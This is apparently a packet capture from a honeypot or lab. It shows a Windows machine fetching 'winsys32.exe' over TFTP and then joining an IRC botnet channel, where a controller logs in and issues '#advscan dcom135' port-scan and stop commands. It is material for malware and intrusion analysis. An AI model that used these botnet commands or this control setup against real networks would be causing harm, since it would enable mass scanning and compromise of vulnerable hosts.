VICTIM:  	\000\001winsys32.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	\000\004\000; 
VICTIM:  	\000\004\000< 
VICTIM:  	\000\004\000= 
VICTIM:  	\000\004\000> 
VICTIM:  	\000\004\000? 
VICTIM:  	\000\004\000@ 
VICTIM:  	\000\004\000A 
VICTIM:  	\000\004\000B 
VICTIM:  	\000\004\000C 
VICTIM:  	\000\004\000D 
VICTIM:  	\000\004\000E 
VICTIM:  	\000\004\000F 
VICTIM:  	\000\004\000G 
VICTIM:  	\000\004\000H 
VICTIM:  	\000\004\000I 
VICTIM:  	\000\004\000J 
VICTIM:  	\000\004\000K 
VICTIM:  	\000\004\000L 
VICTIM:  	\000\004\000M 
VICTIM:  	\000\004\000N 
VICTIM:  	\000\004\000O 
VICTIM:  	\000\004\000P 
VICTIM:  	\000\004\000Q 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000S 
VICTIM:  	\000\004\000T 
VICTIM:  	\000\004\000U 
VICTIM:  	\000\004\000V 
VICTIM:  	\000\004\000W 
VICTIM:  	\000\004\000X 
VICTIM:  	\000\004\000Y 
VICTIM:  	\000\004\000Z 
VICTIM:  	\000\004\000[ 
VICTIM:  	\000\004\000\\ 
VICTIM:  	\000\004\000] 
VICTIM:  	\000\004\000^ 
VICTIM:  	\000\004\000_ 
VICTIM:  	\000\004\000` 
VICTIM:  	\000\004\000a 
VICTIM:  	\000\004\000b 
VICTIM:  	\000\004\000c 
VICTIM:  	\000\004\000d 
VICTIM:  	\000\004\000e 
VICTIM:  	\000\004\000f 
VICTIM:  	\000\004\000g 
VICTIM:  	\000\004\000h 
VICTIM:  	\000\004\000i 
VICTIM:  	\000\004\000j 
VICTIM:  	\000\004\000k 
VICTIM:  	\000\004\000l 
VICTIM:  	\000\004\000m 
VICTIM:  	\000\004\000n 
VICTIM:  	\000\004\000o 
VICTIM:  	\000\004\000p 
VICTIM:  	\000\004\000q 
VICTIM:  	\000\004\000r 
VICTIM:  	\000\004\000s 
VICTIM:  	\000\004\000t 
VICTIM:  	\000\004\000u 
VICTIM:  	\000\004\000v 
VICTIM:  	\000\004\000w 
VICTIM:  	\000\004\000x 
VICTIM:  	\000\004\000y 
VICTIM:  	\000\004\000z 
VICTIM:  	\000\004\000{ 
VICTIM:  	\000\004\000| 
VICTIM:  	\000\004\000} 
VICTIM:  	\000\004\000~ 
VICTIM:  	\000\004\000\177 
VICTIM:  	\000\004\000\200 
VICTIM:  	\000\004\000\201 
VICTIM:  	\000\004\000\202 
VICTIM:  	\000\004\000\203 
VICTIM:  	\000\004\000\204 
VICTIM:  	\000\004\000\205 
VICTIM:  	\000\004\000\206 
VICTIM:  	\000\004\000\207 
VICTIM:  	\000\004\000\210 
VICTIM:  	\000\004\000\211 
VICTIM:  	\000\004\000\212 
VICTIM:  	\000\004\000\213 
VICTIM:  	\000\004\000\214 
VICTIM:  	\000\004\000\215 
VICTIM:  	\000\004\000\216 
VICTIM:  	\000\004\000\217 
VICTIM:  	\000\004\000\220 
VICTIM:  	\000\004\000\221 
VICTIM:  	\000\004\000\222 
VICTIM:  	\000\004\000\223 
VICTIM:  	\000\004\000\224 
VICTIM:  	\000\004\000\225 
VICTIM:  	\000\004\000\226 
VICTIM:  	\000\004\000\227 
VICTIM:  	\000\004\000\230 
VICTIM:  	\000\004\000\231 
VICTIM:  	\000\004\000\232 
VICTIM:  	\000\004\000\233 
VICTIM:  	\000\004\000\234 
VICTIM:  	\000\004\000\235 
VICTIM:  	\000\004\000\236 
VICTIM:  	\000\004\000\237 
VICTIM:  	\000\004\000\240 
VICTIM:  	\000\004\000\241 
VICTIM:  	\000\004\000\242 
VICTIM:  	\000\004\000\243 
VICTIM:  	\000\004\000\244 
VICTIM:  	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845 
ATTACKER:	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845 
ATTACKER:	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845 
ATTACKER:	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845 
ATTACKER:	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845PRIVMSG ##exp## :Bot killed and removed: C:\\WINNT\\System32\egsvc.exe (pid: 488)!PRIVMSG ##exp## :Bot killed and removed: C:\\WINNT\\System32\\MSTask.exe (pid: 504)! 
ATTACKER:	NICK USA|2K|SP2|226845USER alnnbfgg 0 0 :USA|2K|SP2|226845PRIVMSG ##exp## :Bot killed and removed: C:\\WINNT\\System32\egsvc.exe (pid: 488)!PRIVMSG ##exp## :Bot killed and removed: C:\\WINNT\\System32\\MSTask.exe (pid: 504)! 
ATTACKER:	NICK USA|2K|SP2|478863USER vhszcxr 0 0 :USA|2K|SP2|478863 
ATTACKER:	:irc.foonet.com NOTICE AUTH :*** Looking up your hostname... 
ATTACKER:	:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc.foonet.com 001 USA|2K|SP2|478863 :Welcome to the ROXnet IRC Network USA|2K|SP2|478863!vhszcxr@192.168.1.65:irc.foonet.com 002 USA|2K|SP2|478863 :Your host is irc.foonet.com, running version Unreal3.2-RC2fix:irc.foonet.com 003 USA|2K|SP2|478863 :This server was created Mon Feb 18 2008 at 15:38:34 EST:irc.foonet.com 004 USA|2K|SP2|478863 irc.foonet.com Unreal3.2-RC2fix iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzNT:irc.foonet.com 005 USA|2K|SP2|478863 MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server:irc.foonet.com 005 USA|2K|SP2|478863 WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(ohv)@%+ CHANMODES=beqa,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:irc.foonet.com 422 USA|2K|SP2|478863 :MOTD File is missing:USA|2K|SP2|478863 MODE USA|2K|SP2|478863 :+iwx 
VICTIM:  	USERHOST USA|2K|SP2|478863 
ATTACKER:	:irc.foonet.com 302 USA|2K|SP2|478863 :USA|2K|SP2|478863=+vhszcxr@192.168.1.65     
VICTIM:  	MODE USA|2K|SP2|478863 +iu-xJOIN ##bot## NeoXBoTUSERHOST USA|2K|SP2|478863MODE USA|2K|SP2|478863 +iu-xJOIN ##bot## NeoXBoTUSERHOST USA|2K|SP2|478863MODE USA|2K|SP2|478863 +iu-xJOIN ##bot## NeoXBoT 
ATTACKER:	:irc.foonet.com 501 USA|2K|SP2|478863 :Unknown MODE flag:USA|2K|SP2|478863 MODE USA|2K|SP2|478863 :-x:USA|2K|SP2|478863!vhszcxr@192.168.1.65 JOIN :##bot##:irc.foonet.com 332 USA|2K|SP2|478863 ##bot## :#advscan dcom135 130 5 0 -m -b:irc.foonet.com 333 USA|2K|SP2|478863 ##bot## X 1204661046:irc.foonet.com 353 USA|2K|SP2|478863 @ ##bot## :USA|2K|SP2|478863 @X @NhG @Serh @psychoz :irc.foonet.com 366 USA|2K|SP2|478863 ##bot## :End of /NAMES list.:irc.foonet.com 302 USA|2K|SP2|478863 :USA|2K|SP2|478863=+vhszcxr@192.168.1.65    :irc.foonet.com 501 USA|2K|SP2|478863 :Unknown MODE flag:irc.foonet.com 302 USA|2K|SP2|478863 :USA|2K|SP2|478863=+vhszcxr@192.168.1.65    :irc.foonet.com 501 USA|2K|SP2|478863 :Unknown MODE flag 
VICTIM:  	PRIVMSG ##bot## :[SCAN]: Sequential Port Scan started on 10.2.0.0:135 with a delay of 5 seconds for 0 minutes using 130 threads. 
ATTACKER:	:DEU|XP|SP1|277700!hhfvshm@80-218-164-101.dclient.hispeed.ch PRIVMSG ##bot## :[SCAN]: Sequential Port Scan started on 80.218.0.0:135 with a delay of 5 seconds for 0 minutes using 130 threads. 
ATTACKER:	:POL|XP|SP1|324247!ssayedw@nat-01-035.rtk.net.pl PRIVMSG ##bot## :[SCAN]: Sequential Port Scan started on 192.168.0.0:135 with a delay of 5 seconds for 0 minutes using 130 threads. 
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP MODE ##bot## +mM  
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP PRIVMSG ##bot## :#neo login 
VICTIM:  	PRIVMSG ##bot## :\002n\002z\037m\037 (irc.p\037l\037g) \002\273\273\002  Password accepted. 
ATTACKER:	:irc.foonet.com 404 USA|2K|SP2|478863 ##bot## :You must have a registered nick (+r) to talk on this channel (##bot##) 
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP PRIVMSG ##bot## :#scanstop 
VICTIM:  	PRIVMSG ##bot## :[SCAN]: Scan stopped. (131 thread(s) stopped.) 
ATTACKER:	:irc.foonet.com 404 USA|2K|SP2|478863 ##bot## :You must have a registered nick (+r) to talk on this channel (##bot##) 
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP PRIVMSG ##bot## :#advscan dcom135 130 5 0 -i -b 
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP PRIVMSG ##bot## :#lo 
VICTIM:  	PRIVMSG ##bot## :[SCAN]: Sequential Port Scan started on 10.2.0.0:135 with a delay of 5 seconds for 0 minutes using 130 threads. 
VICTIM:  	PRIVMSG ##bot## :\002n\002z\037m\037 (irc.p\037l\037g) \002\273\273\002  User X logged out. 
ATTACKER:	:irc.foonet.com 404 USA|2K|SP2|478863 ##bot## :You must have a registered nick (+r) to talk on this channel (##bot##) 
ATTACKER:	:irc.foonet.com 404 USA|2K|SP2|478863 ##bot## :You must have a registered nick (+r) to talk on this channel (##bot##) 
ATTACKER:	:X!XP@19EA83C4.80B0C450.CD99C0F.IP TOPIC ##bot## :#advscan dcom135 130 5 0 -r -b 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	NICK bqkxbrygUSER b020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com 
ATTACKER:	PONG :irc.foonet.com